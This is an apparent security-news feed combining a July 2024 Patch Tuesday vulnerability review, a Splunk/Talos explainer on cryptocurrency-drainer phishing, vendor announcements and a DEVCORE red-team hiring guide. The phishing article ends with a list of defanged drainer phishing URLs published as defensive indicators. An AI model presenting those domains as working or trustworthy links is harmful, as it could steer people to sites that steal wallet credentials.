CVE-2024-38022 Windows Image Acquisition Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2024-38062 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-30079 Windows Remote Access Connection Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-21417 Windows Text Services Framework Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2024-38066 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38050 Windows Workstation Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2024-38017 Microsoft Message Queuing Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2024-32987 Microsoft SharePoint Server Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2024-38055 Microsoft Windows Codecs Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2024-30061 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability Important 7.3 No No Info
CVE-2024-38056 Microsoft Windows Codecs Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2024-38041 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2024-30071 Windows Remote Access Connection Manager Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2024-38064 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2024-38086 Azure Kinect SDK Remote Code Execution Vulnerability Important 6.4 No No RCE
CVE-2024-38044 DHCP Server Service Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38021 † Microsoft Office Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37334 Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38094 Microsoft SharePoint Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38024 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38019 Microsoft Windows Performance Data Helper Library Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38025 Microsoft Windows Performance Data Helper Library Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38028 Microsoft Windows Performance Data Helper Library Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2024-38032 Microsoft Xbox Remote Code Execution Vulnerability Important 7.1 No No RCE
CVE-2024-20701 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21303 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21308 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21317 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21331 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21332 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21333 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21335 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21373 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21398 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21414 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21415 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21425 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21428 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-21449 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-28928 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-35256 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-35271 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-35272 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37318 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37319 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37320 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37321 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37322 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37323 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37324 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37326 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37327 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37328 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37329 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37330 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37331 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37332 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37333 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-37336 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38087 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38088 SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38049 Windows Distributed Transaction Coordinator Remote Code Execution Vulnerability Important 6.6 No No RCE
CVE-2024-38104 Windows Fax Service Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38051 Windows Graphics Component Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2024-38053 Windows Layer-2 Bridge Network Driver Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-30013 Windows MultiPoint Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2024-38078 Xbox Wireless Adapter Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2024-38058 BitLocker Security Feature Bypass Vulnerability Important 6.8 No No SFB
CVE-2024-26184 Secure Boot Security Feature Bypass Vulnerability Important 6.8 No No SFB
CVE-2024-28899 Secure Boot Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2024-37969 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37970 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37971 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37972 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37973 Secure Boot Security Feature Bypass Vulnerability Important 8.4 No No SFB
CVE-2024-37974 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37975 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37977 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37978 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37981 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37984 Secure Boot Security Feature Bypass Vulnerability Important 8.4 No No SFB
CVE-2024-37986 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37987 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37988 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-37989 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-38010 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-38011 Secure Boot Security Feature Bypass Vulnerability Important 8 No No SFB
CVE-2024-38065 Secure Boot Security Feature Bypass Vulnerability Important 6.8 No No SFB
CVE-2024-30098 Windows Cryptographic Services Security Feature Bypass Vulnerability Important 7.5 No No SFB
CVE-2024-38069 Windows Enroll Engine Security Feature Bypass Vulnerability Important 7 No No SFB
CVE-2024-38070 Windows LockDown Policy (WLDP) Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2024-35266 Azure DevOps Server Spoofing Vulnerability Important 7.6 No No Spoofing
CVE-2024-35267 Azure DevOps Server Spoofing Vulnerability Important 7.6 No No Spoofing
CVE-2024-3596 * CERT/CC: CVE-2024-3596 RADIUS Protocol Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2024-30081 Windows NTLM Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2024-38030 Windows Themes Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2024-38517 * Github: CVE-2024-38517 TenCent RapidJSON Elevation of Privilege Vulnerability Moderate 7.8 No No EoP
CVE-2024-39684 * Github: CVE-2024-39684 TenCent RapidJSON Elevation of Privilege Vulnerability Moderate 7.8 No No EoP
CVE-2024-38020 Microsoft Outlook Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

There are a total of 59 code execution bugs in this release, which is more CVEs than the entire June release. However, 38 of these are related to SQL Server and require a user to connect to a malicious SQL server database. That does seem unlikely, but it could be used as a post-exploitation technique for lateral movement. There’s an interesting bug in the Windows Multipoint Service, but it requires the service to be restarted for an attack to succeed. The one, new publicly known bug this month is in .NET Framework and Visual Studio. It’s an interesting race condition, but it seems unlikely to be exploited. There are the standard open-and-own Office bugs, including one that requires multiple security updates to fully address the vulnerability. Be sure to check for the “†” in the above table. There are some authenticated RCEs in the Performance Data Helper Library, but these require elevated permissions. There are additional SharePoint fixes, but it’s not clear why these are rated Important instead of Critical. There’s a scary-sounding bug in the DHCP server, but it also requires high privileges. That’s the same for the bug in Windows DTC. There’s a bug for adjacent attackers to use in the Layer-2 Bridge Network Driver. It’s not often you see exploits that low on the OSI model, but this one doesn’t require authentication. The final RCE fixes for this month happen in components you don’t expect to see patches for. The first is in the Azure Kinect SDK. Yes – that Kinect. It requires someone actually plug in a malicious USB drive to an affected system. The Kinect SDK is available for Windows and Linux, but it’s not clear if the fix covers both. Then there are fixes for the Xbox and Xbox Wireless Controller. For the Xbox, an unauthenticated attacker could get code execution by sending a malicious networking packet to an adjacent console that employs a Wi-Fi networking adapter. That’s the same scenario for the controller. Obviously, an attacker would need to be in close proximity to achieve this exploit.

There are a couple dozen fixes for Elevation of Privilege (EoP) bugs in this release, but most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. The bug in the Text Services Framework could be used as a sandbox or AppContainer escape. The bug in Defender for IoT could also be used as an AppContainer escape. Two of the PowerShell bugs allow a threat actor to go from a restrained user to an unrestrained WDAC user. PowerShell is often used for post-exploitation for lateral movement, so this technique would be handy for those living off the land. The bug is the Workstation Service could allow an attacker to overwrite critical structures of the service, leading to arbitrary memory writing or control flow hijacking. Not exactly a common technique, but it does lead to a privilege escalation. Finally, the bug in Azure CycleCloud could allow an authenticated user to escalate to the Administrator role on affected Azure CycleCloud instances. If you’re using this component, you need to update your CycleCloud VMs. If you aren’t familiar with that process, Microsoft provides some guidance here.

There are also two dozen fixes for security feature bypass (SFB) bugs, although I think we need to rename a component. Between 23 fixes in April and 20 more this month, I don’t think we can really call it Secure Boot anymore. Even worse, all but two of these could be exploited by an Adjacent attacker with LAN access to the target. Oof. I’m calling this feature “Protected Boot” rather than “Secure Boot”. The SFB bug in BitLocker requires physical access, but BitLocker is specifically designed to prevent this sort of attack, so…er…not good. The SFB in cryptographic services requires a SHA1 hash collision. The bug in the Windows Enroll Engine could allow a threat actor to avoid certificate validation during the enrollment process, but the exploitation would be complicated.

There are only nine information disclosure bugs receiving fixes this month and most only result in info leaks consisting of unspecified memory contents. There are only two exception. The bug in the on prem version of Dynamics 365 discloses data stored in the underlying datasets in Dataverse. This could include Personal Identifiable Information (PII). The bug in SharePoint could disclose data from the targeted website including IDs, tokens, cryptographic nonces, or other sensitive information.

There are quite a few Denial-of-Service (DoS) bugs in the July release, but Microsoft provides very little information about the details. It would be nice to know if these are blue screens or just a service-level DoS. We do know that the bugs in the iSCSI service and the Layer-2 Bridge Network driver require the attacker to be adjacent. The same goes for the bug in the Line Printer Daemon Service and the Network Driver Interface Specification. Lastly, one of the DoS bugs in the Remote Desktop Licensing Service requires some extra steps beyond the patch. According to Microsoft, “If your RD session hosts and RD licensing servers are joined to a workgroup, you need to ensure that your RD session hosts have the necessary credentials to access your RD licensing servers.” You can find additional information about that here.

The July release is rounded out by a few spoofing bugs. Probably the most important of these is the bug in Outlook that could result in NTLM relaying. Fortunately, the Preview Pane is not an attack vector. Although not specifically stated, one would assume the same for the NTLM spoofing bug. And while not as clear, one would assume the same for the spoofing bug in Themes as Microsoft lists disabling NTLM as a workaround. Finally, the bugs in Azure DevOps Server are listed as spoofing, but they could also be used for DoS or Information Disclosure.

There are no new advisories in this month’s release.

Looking Ahead

The next Patch Tuesday of 2024 will be on August 13, and I’ll return with details and patch analysis then. I’ll also be at Black Hat and DEFCON, so if you’re there, I’d love to chat about all things patches and bug bounties. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Horizon3.ai Celebrates Significant Growth and Innovations in First Half of 2024

9 July 2024 at 14:04

Business Wire 07/09/2024

Horizon3.ai, a leading provider of autonomous security solutions, marked the close of the first six months of 2024 with a celebration of the Company’s growth across all dimensions. Expansion of NodeZero™ Platform, Strategic Executive Appointments, and Prestigious Industry Recognitions Mark a Successful First Half of the Year.

Read the entire article here

The post Horizon3.ai Celebrates Significant Growth and Innovations in First Half of 2024 appeared first on Horizon3.ai.

How do cryptocurrency drainer phishing scams work?

9 July 2024 at 12:00
How do cryptocurrency drainer phishing scams work?

By Teoderick Contreras and Jose Hernandez of Splunk, with contributions from the Splunk Threat Research Team.  

Cryptodrainer scams have emerged as a significant threat in the cryptocurrency ecosystem, targeting unsuspecting individuals with the promise of easy profits while covertly siphoning their digital assets.  

Initially, cryptodrainer scams primarily manifested as fraudulent investment schemes, promising high returns on investments in dubious projects or fake initial coin offerings (ICOs). These scams exploited the speculative nature of cryptocurrency markets, luring investors with the allure of quick riches and revolutionary technology. However, instead of delivering on their promises, scammers absconded with investors' funds. 

How do cryptocurrency drainer phishing scams work?
An example of a cryptodraining scam spread on a Jamaican news outlet’s X account in 2023 after the account was hacked. 

Cryptodrainer phishing scams targeting cryptocurrency holders have become increasingly sophisticated, with scammers employing social engineering techniques to trick users into divulging their private keys or login credentials. These stolen assets were then swiftly drained from victims' wallets, often leaving them with little recourse for recovery. 

In recent months, a surge in cryptodrainer phishing attacks has been observed, targeting cryptocurrency holders with sophisticated schemes aimed at tricking them into divulging their valuable credentials. These tactics involve deceptive URLs, carefully crafted to resemble legitimate cryptocurrency platforms, enticing unsuspecting users to input their sensitive login information. 

One particularly concerning trend is the emergence of phishing campaigns proliferating across various social media platforms, including X (Twitter). In these instances, compromised accounts, likely hijacked by cybercriminals, are used as unwitting conduits to deliver the malicious URLs to a wider audience. The compromised accounts lend an air of legitimacy to the fraudulent scheme, thereby increasing the likelihood of unsuspecting users falling victim to the scam. 

These types of platforms have long been rife for abuse and scams. Cisco Talos has previously highlighted how various aspects of “Web 3” such as the metaverse and smart contracts have been abused to trick users into emptying their cryptocurrency wallets. Malicious Google Forms documents have also been used as an attack vector for these scams.  

Anatomy of a crytodrainer attack 

Splunk researchers used the Splunk Attack Analyzer to gain insights into the anatomy of this phishing campaign, which we believe follows the same general infection method and attack pattern of cryptodrainer scams. 

Below are a few examples of phishing website pages designed to mimic legitimate cryptocurrency platforms, enticing users to disclose their cryptocurrency login credentials. 

How do cryptocurrency drainer phishing scams work?
Phishing site web pages. 

Splunk expanded our repository of potential cryptodrainer phishing URLs using the Attack Analyzer. One such example is hxxp[://]nfts-manta[.]network/, a site identified and flagged as a phishing site by several anti-virus products, according to VirusTotal. 

How do cryptocurrency drainer phishing scams work?
A phishing site in VirusTotal. 

Splunk Attack Analyzer also provides a comprehensive overview, including the landing page screenshot of the phishing site, potential URL link redirections, detections and related artifacts, facilitating further in-depth analysis. 

How do cryptocurrency drainer phishing scams work?
A screenshot of Splunk Attack Analyzer. 

Upon accessing this phishing site, users are prompted to connect their cryptocurrency wallets to purportedly claim tokens. A common method observed for wallet connection involves scanning a QR code using a mobile phone. This QR code may seemingly link to the desired cryptocurrency wallet app, offering the illusion of a seamless login process. In reality, this action grants the phishing site access to the user's login credentials, enabling the unauthorized draining of their cryptocurrency wallet. 

How do cryptocurrency drainer phishing scams work?
A phishing website posing as Manta, a cryptocurrency application.
How do cryptocurrency drainer phishing scams work?
A QR code displayed on the Manta phishing site. 

Why should you care? 

Understanding and staying vigilant against cryptodrainer scams is important for safeguarding your financial well-being and data security.  

These scams, often executed through phishing tactics, pose significant risks to individual's finances and personal information if they are invested at all in cryptocurrency.  

By remaining informed about the tactics employed by scammers, you can take proactive measures to protect yourself and prevent potential financial losses. Additionally, spreading awareness about these scams helps mitigate their impact by empowering others to recognize and avoid falling victim to fraudulent schemes.  

Here are a few tips for spotting possible cryptocurrency scams like the ones outlined above: 

  • Carefully consider and thoroughly research before registering for, or investing, in any cryptocurrency that promises quick and significant returns. High-reward opportunities often come with high risks, and many such promises may be scams. As always, if it seems too good to be true, it probably is. 
  • Always verify the legitimacy of the website before providing your personal information or registering your cryptocurrency accounts or wallet. Look for signs of credibility such as secure URLs (https), professional design and positive reviews from trusted sources. 
  • Ensure that your security products are consistently updated to detect and block known malicious websites that employ these deceptive tactics. Regular updates provide the latest protection against evolving threats and scams in the cryptocurrency space. 

By following these guidelines, you can better protect yourself from the risks associated with investing in cryptocurrencies and engaging with online platforms. 

Coverage 

The following Splunk SOAR playbooks integrate with Splunk Attack Analyzer and other sandbox tools, allowing users and admins to easily triage and identify this type of activity in a given environment. 

Playbook 

Description 

Accepts URL link, domain or vault_id (hash) to be detonated using Splunk Attacker (SAA) API connector. This playbook produces a normalized output for each user and device. 

Leverages Splunk technologies to determine if a .eml or .msg file in the vault is malicious, whether or not it contained suspect URLs or Files, and who may have interacted with the IoCs (emails, URLs or files). 

Automatically dispatches input playbooks with the 'sandbox' tag. This will produce a merge report and indicator tag for each input. 

Below is a list of other IOCs related to cryptodrainer scams.  

hxxps://123-bti[.]pages[.]dev/ 
hxxps://giveaway-omnicat[.]pages[.]dev/ 
hxxps://visit-ait[.]pages[.]dev/ 
hxxps://enrol-manta[.]network/ 
hxxp://nfts-manta[.]network/ 
hxxp://nftbonus-manta[.]network/ 
hxxps://sea-manta[.]network/ 
hxxps://sale-starknet[.]io/ 
hxxps://gain-manta[.]pages[.]dev/ 
hxxps://frame-343[.]pages[.]dev/ 
hxxps://gainsatoshi[.]pages[.]dev/ 
hxxps://visit-dymension[.]pages[.]dev/ 
hxxps://manta11[.]pages[.]dev/ 
hxxps://explore-satoshi[.]pages[.]dev/ 
hxxps://governance-mantanetwork[.]pages[.]dev/ 
hxxps://accept-satoshivmio[.]pages[.]dev/ 
hxxps://preregistration-satoshivmio[.]pages[.]dev/ 
hxxps://receive-altlayerio[.]pages[.]dev/ 
hxxps://bonus-8u0[.]pages[.]dev/ 
hxxps://reveal-manta[.]pages[.]dev/ 
hxxp://acquire-satoshivm[.]io/ 
hxxps://farcana123[.]pages[.]dev/ 
hxxps://enlist-jup[.]app/ 
hxxps://distributedymension[.]pages[.]dev/ 
hxxps://visit-lineabuild[.]pages[.]dev/ 
hxxps://1-67c[.]pages[.]dev/ 
hxxps://registryzetachain[.]pages[.]dev/ 
hxxps://gratitude-satoshivm[.]pages[.]dev/ 
hxxps://whitelist-woo[.]pages[.]dev/ 
hxxps://join-jupapp[.]pages[.]dev/ 
hxxps://million-satoshivmio[.]pages[.]dev/ 
hxxps://achieve-altlayer[.]pages[.]dev/ 
hxxps://follow-satoshivm[.]io/ 

Trail of Bits named a leader in cybersecurity consulting services

9 July 2024 at 11:00

Trail of Bits has been recognized as a leader in cybersecurity consulting services according to The Forrester Wave™: Cybersecurity Consulting Services, Q2 2024. In this evaluation, we were compared against 14 other top vendors and emerged as a leader for our services.

Read the report on our website.

What is the Forrester Wave™?

Forrester is a prominent global research and advisory firm that produces a variety of market reports, research, analysis, and consulting services. The Forrester Wave™ is an evaluation that serves as a comprehensive guide for CISOs considering their purchasing options in a technology marketplace.

Forrester’s evaluations are highly regarded for their rigorous and thoughtful approach:

  • A trusted source of truth: Forrester reports are essential for their in-depth analysis and are highly respected across industries.
  • An unbiased assessment: Forrester does not require payment to be considered in its assessment. Instead, for this report, they evaluated firms that “offer a comprehensive set of cybersecurity consulting services capabilities across the extended business scenarios,” Forrester also considered “the level of interest from [Forrester] clients based on inquiries, advisories, consulting engagements, and other interactions,” and included firms that meet certain revenue amounts.
  • Comprehensive criteria: The evaluation criteria are designed for Forrester and CISOs to fully understand how the companies compare and which are industry leaders. They look at each firm’s current offering, strategy, and market presence.

What happened?

Forrester invited us and 14 other top vendors to participate in The Forrester Wave(™): Cybersecurity Consulting Services, Q2 2024 report.

Participation was optional, but we would still be included in the report regardless of our choice. We opted to actively participate and were given a list of 24 criteria to address with data and metrics, which you can see below. Each of our team leaders contributed to this effort, detailing our vision, goals, and areas where we excel. Following this, we delivered a management presentation focused on three key areas: strategy, market presence, and offerings.

Dan, our CEO, highlighted our unique approach to consulting, emphasizing the continuous feedback loop between our Research and Assurance practices. Additionally, he underscored our commitment to open-sourcing everything possible, from tools to reports and handbooks.

Dan’s presentation showcased three key client projects, demonstrating our comprehensive client engagement from Day 0 to completion.

  • Scenario 1: Strategy and Vision
    • The first focused on a Fortune 500 client implementing AI, where we set an industry-leading standard with our innovative approach while tools and methodologies are still emerging.
  • Scenario 2: Tech Stack Consolidation
    • The second featured an AI client, HuggingFace, where we consolidated safer approaches and alternatives to pickle files.
  • Scenario 3: Demonstration of Tech-Enabled IP
    • The third demonstrated our use of Echidna for Primitive Finance, showcasing the technical tools we’ve developed and their application to client work.

Forrester also solicited feedback directly from three of our clients about our project performance. Although we didn’t see their individual responses, the summarized feedback in the report noted:

Our services go beyond standard security offerings.

Forrester scoring

After we submitted our self review against their criteria and delivered a management presentation, they sent us a draft copy of their score rating. They assigned each vendor a 1, 3, or 5 for each criterion.

5 = Superior relative to others in this evaluation.
3 = On par relative to others in this evaluation.
1 = Below par relative to others in this evaluation. The provider lacks meaningful key differentiators.
0 = No capability

In 12 criteria, we received the highest possible score of 5. Here’s our take on why.

Our clients benefit from high-quality technical assessments and team upskilling through our public educational resources and office hours, even before the engagement begins. We ensure continuous knowledge transfer, delivering code, scripts, and testing tools for independent use throughout the assessment. Depending on client interest or need, we also offer specific educational sessions for immediate training on new tools or techniques.

Our strong focus on R&D and open-source software keeps clients ahead of emerging threats. We train teams on the best security practices throughout the SDLC, ensuring a proactive and robust approach to evolving challenges, even after the assessment is complete.

We excel in emerging tech by developing innovative tools and methodologies.

For compliance delivery, tech stack consolidation, budget optimization, and staff augmentation, where we scored a 1, our focus remains on providing best-in-class technical security services, with no plans to offer any of the above services.

We help clients secure projects comprehensively, not just by finding bugs and checking boxes.

Strategic initiatives for future growth and client support

The 2024 Forrester report notes a few areas for future enhancement and growth. We have several ongoing initiatives that we believe will rank us even higher in the future:

  • We are developing a partnership program to expand our current offerings with top-of-the-market partners like GitHub and Semgrep.
  • We’re expanding our services to include AI Safety & Security training to help red teams understand and evaluate AI-based system risks.
  • Our project management team is implementing prescriptive plans to guide clients throughout their SDLC. These plans include a clear security roadmap with long-term recommendations and extended office hours with our technical teams.
  • We provide clients with various pricing models and solutions based on their priorities. Our services are flexible, extending beyond traditional assessments to include custom tooling, training, and essential solutions for operational teams.

We are honored to come out as a leader in The Forrester Wave™: Cybersecurity Consulting Services, Q2 2024 report. If you’re facing a cybersecurity challenge, consider leveraging the expertise of a recognized leader among the top vendors in the market. Contact us today to see how we can help.

紅隊演練專家應徵指南

8 July 2024 at 16:00

紅隊演練是 DEVCORE 最核心的業務。我們擁有豐富的實戰經驗,並且集結了一群優秀的夥伴共同迎接挑戰。很多技術愛好者希望加入我們,想要了解我們錄取新人所看重的方向。趁著畢業季求職潮,我們特別準備了這份應徵指南,希望幫助有興趣的人了解準備方向,也希望幫助一些剛畢業、不擅長撰寫履歷、不擅長在面試中表達自己的人,補足必要技能以免錯失機會。無論您對紅隊演練專家或滲透測試工程師感興趣,期望可以循著這份指南,成為我們的夥伴。

順帶一提,有一個在學生可能感興趣的資訊:DEVCORE 有研發替代役名額,唯名額有限,推薦您在學期間盡早投遞履歷並詢問替代役狀況。

🚀 DEVCORE 應徵流程

應徵紅隊演練專家、滲透測試工程師都會經歷「書面審查」、「線上測驗」、「面試」三個階段。

📌 書面審查

履歷是這個階段主要評估依據,以下 4 點是我們認為應徵者需要注意的地方:

履歷內容符合職務需求嗎

這個階段最重要的是說服審核者你具備職務需求的能力,所以請盡量在履歷內容附上能幫助別人判斷的佐證資訊。過去有些技術底不錯的同學只單純放了學歷,這樣要讓審核者想找個可以進入下一階段的理由都難,相當可惜。

用一些實例說明吧

實例證明是讓你的履歷脫穎而出的關鍵,具體的數字和事實可以大大增加履歷的說服力,例如能具體說出打過多少場滲透測試,在過程中找了多少漏洞,或在任務中解決了什麼樣的問題,達到什麼效果。這些不僅能表示技術能力,還能顯示你的影響力。

提供有幫助的額外資訊

相關專業證照、參與技術社群、貢獻開源專案等額外資訊都有助於審核者評估。有些人好奇一些非技術等經驗應不應該放在履歷中,我們預設是不會特別參考,但如果你認為這些經驗對未來工作有正面影響,可附上讓審核者評估。

特別希望列出的加分項

下面列出一些非必要但有會很不錯的加分項目,如果有這方面的經歷務必要寫上。同時也列出每個項目中我們看重的特質,如果有其他可以展現這些特質的經歷也歡迎列出來讓審核者知道。

📄 實戰經驗如:CVE、bug bounty
  • 代表您擁有解決未知問題能力。
  • 代表您能看到別人所沒有關注到的細節。
📄 CTF Writeups 或是 Blog
  • 如果在 CTF 比賽有不錯的成績,通常意味著你擁有在短時間內分析歸納重點的能力、也能夠快速找到解決辦法,聯想力創造力可能也不差。
  • 我們希望能了解您如何描述複雜的漏洞,因為在將來的工作中需要將漏洞過程清楚描述並給予建議。
  • 寫 Blog 除了能展現表達和文字能力外,通常也具有持續學習的熱情和樂於分享的特質,符合 DEVCORE 核心價值觀。
📄 CTF 出題經驗
  • 代表平常會持續關注流行的技術、研究語言或框架特性,能注意到一些鮮少人知道的小細節。
  • 說明你除了攻擊,還具備一定程度的開發能力。
  • 為了怕題目被 CTF 玩家惡意破壞,通常出題者也具備高水準的防禦能力。

📌 線上測驗

這個階段的進行方式與一般線上靶機環境如 OSCP、HTB 無異,會分配到一個題組,平均需要解五把 flag。應徵者會有相當足夠的時間進行解題(預設 10 天,視題目會微調),最後交付報告。我們期待從線上測驗中看到應徵者具備下述能力:

  • 偵查:能否透過現有資訊合理推斷背後的架構或寫法。
  • 漏洞挖掘:能否找到題目中設計的漏洞。
  • 應變:碰到特殊的環境可否自行想辦法克服。例如在只有 command injection 且內網有防火牆限制的特殊環境下,怎麼用手邊可利用的資源達成你的目標。

📌 面試

最後的面試階段會全面評估你是否適合這個職位,下述 2 件事情特別想與應徵者分享:

被問倒是正常的

在面試過程中,面試官會從多個角度深入了解應徵者技術的廣度和深度,因此,會被問倒是正常的。請對自己的技術能力有信心,畢竟你已經通過了第二階段的線上測驗。被問到不熟悉的問題時,只要誠實地表達你的思考過程和解決問題的方法即可。我們想要知道思考脈絡,甚至期待你說:我看到 XX 特徵覺得這題可能是 OO 方向解,我會想用什麼關鍵字搜尋找答案。這樣的回答也凸顯了你的判斷力和解決問題的能力。

分享你的 Hack 故事

我們期待在面試中聽你分享過去特別的 Hack 經歷,並且與你討論細節。Hack 的內容不限,例如:

  • 履歷中提到的 CVE、bug bounty
    • 希望是一些特別的情境,如果找到的是常見漏洞如 SQLi 或 XSS,那會希望了解這個漏洞特別在哪?或者是能說出你做了什麼,為什麼你能找到這個漏洞?
  • 在 CTF 比賽中想到的精妙解法
  • 生活中為了達成目標做的 Hack
    • 例如:為了自動化工作流程寫了個小工具;為了租房資訊串了個方便通知系統;想把遊戲每日領取任務自動化。

🚀 自我鍛鍊之路

這一段寫給現在還在準備階段,未來很想要加入資安檢測行業的同學。為了增加自己的實力,在應徵前有下面幾個精進事項可參考,這對在資安領域長遠發展也很有幫助。

📌 補足基礎知識

Web 常見漏洞種類

我們認為 PortSwigger Web Security Academy 整理的漏洞經典且完整,加上有 LAB 可以直接練習,適合初學者。這些漏洞是從事資安檢測最基礎的溝通語言,推薦要把教材頁面上所有漏洞練習完,可以從主題頁面看分類會比較清楚。若以紅隊為目標,我們會優先關注能拿 shell 的後端漏洞。 以下提供幾點自我驗證與精進項目:

  • 抽一個漏洞是否可以說出這個漏洞常發生在什麼功能?背後的成因?通常可以怎麼進階利用這個漏洞?
  • 有沒有辦法在黑箱狀態,透過測試辨識出這些漏洞?
  • 在白箱狀態下,知道哪些漏洞要透過搜尋什麼函數找到?
